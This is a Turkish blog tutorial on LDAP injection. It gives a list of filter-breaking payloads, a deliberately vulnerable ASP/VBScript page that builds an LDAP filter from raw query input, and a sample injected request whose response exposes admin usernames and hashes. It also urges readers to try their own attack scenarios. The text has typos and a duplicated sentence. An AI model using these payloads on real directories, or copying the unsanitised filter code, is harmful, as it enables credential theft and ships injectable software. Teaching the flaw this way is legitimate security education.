LDAP Nedir ?

DAP(Lightweight Directory Access Protocol) Baş harfleri olup, X.500 standartı il tanımlı yedi katmanlı OSI modelinin
dizin erişimi için kullandığı protokolun hafifletilmiş versiyonudur.LDAP şirketlerde personel kayıtları,telefon rehberi,adres defteri
gibi birçok hizmetin tek merkezli olmak üzere sunulmasını sağlar.LDAP oluşturulan bir adres defterinde ad kısmında geçen
user geçen kişilerin sayad ve mail bilgilerini bulşeklinde bir arama yaparsak LDAP bizim için filtreleme yaparak istediğimiz
sonuçları bize verir.


İNJECTİON Nasıl Yapılır ?

LDAP injectionun bir kriterin listelendiği alanlara bazı karakterler sıkıştırarak tüm sonuçların gösterilmesi veya istenen kişilerin
şifrelerinin alınması gibidir.LDAP injectionun bir kriterin listelendiği alanlara bazı karakterler sıkıştırarak tüm sonuçların
gösterilmesi veya istenen kişilerin şifrelerinin alınması gibidir.




Arama Kısmı,ziyaretçi defteri gibi kullanıcı girdisi yapılan yerlere aşağıdaki gibi kodlar girilerek ;

(&((Username=user)(&))((Password=xyz))
’)(Username=’validUsername’)(&))(
/’)(Username=/’validUsername/’)(&))(
")(Username="validUsername")(&))(
/")(Username=/"validUsername/")(&))(


Hemen Örnekleyelim ;

<html>
<bOdy>
<%@ Language=VBScript %>
<%
Dim userName
Dim filter
Dim ldapObj
         
Const LDAP_SERVER = "ldap.example"

userName = Request.QueryString("user")

f( userName = "" ) then
Response.Write("Invalid request. Please specify a valid
user name")
Response.End()
end if
    
filter = "(uid=" + CStr(userName) + ")" ’ searching for the user entry
    
’Creating the LDAP object and setting the base dn
Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")
ldapObj.ServerName = LDAP_SERVER
ldapObj.DN = "ou=people,dc=spilab,dc=com"

’Setting the search filter
ldapObj.SearchFilter = filter
ldapObj.Search
’Showing the user information
While ldapObj.NextResult = 1
Response.Write("<p>")
Response.Write("<b><u>User information for: " +
ldapObj.AttrValue(0) + "</u></b><br>")
For i = 0 To ldapObj.AttrCount -1
Response.Write("<b>" + ldapObj.AttrType(i) +"</b>: " +
ldapObj.AttrValue(i) + "<br>" )
Next
Response.Write("</p>")
Wend
%>
</bOdy>
</html> 


Koda bakacak olursanız arkadaşlar LDAP server ile oluşturulmuş bir web sayfası göreceksiniz
user , password kısmı vs , kısımlarının mevcut olduğu LDAP server ile oluşturulmuş açıklı bir
kod parçaçığı diye belirtelim .


Bu kod parçaçığı ile oluşturulmuş web sayfasına istek yapalım ;

İSTEK ;

www.ldapapplication.com
get/ldapinj/ldap.asp?user=’)(Username=’validUsername’)(&))(
Host:www.ldapapplication.com


CEVAP ;

<html>
<head>
<meta http-equiev=’’Content - Type’’ content=’’text/html; charset=ISO-8859-1’’>
<title> Dot Dot Slash Application</title>
</head>
<bOdy>

administrator:3d2f6613711ef727455444445ad:    
coadmin:3d2f6613711ef7274279c3b9660175ad:     
orduyulojadmini:3d2f6613711ef7274279c3b9660175ad:
mantar:3d2f6613711ef725445544442224440175ad:




Bu komutlar çoğaltılabilir , hatta bunları yazmaya bile gerek kalmayabilir arama modülüne * yazması halinde tüm kullanıcı
bilgilerini göstermesine yeterli olur , veya Username kısmına user adını yazıp password kısmına * yazarak istediğimiz
userin şifresi gelebilir umarım aklınızda oluşturmaya çalıştığım LDAP İnjection mantığı oluşmuştur zaten oluştuğu zaman
kendi kendinize bir takım saldırı senoryaları kurabilir ve uygulamaya çalışabilirsiniz .



Videoları İzleyerek Daha Fazla Bilgi Sahibi Olabilirsiniz ;


https://www.youtube.com/watch?v=wtahzm_R8e4
https://www.youtube.com/watch?v=dmfwY5KpKDI
https://www.youtube.com/watch?v=oqHm5nPObwM


PDF Dökümanlar ;

http://www.ietf.org/rfc/rfc1960.txt A String Representation of LDAP Search Filters (RFC1960)
http://www.redbooks.ibm.com/redbooks/SG244986.html IBM RedBooks - Understanding LDAP
http://www.webappsec.org/projects/threat/classes/ldap_injection.shtml
http://searchsoftwarequality.techtarget.com/definition/LDAP-injection
http://www.testingsecurity.com/how-to-test/injection-vulnerabilities/LDAP-Injection
https://capec.mitre.org/data/definitions/136.html
http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf

Hakkımda Unknown

Turk DevilZ | Bug Researcher Expert


«
Sonraki
Sonraki Kayıt
»
Önceki
Önceki Kayıt

Hiç yorum yok:

Yorumlar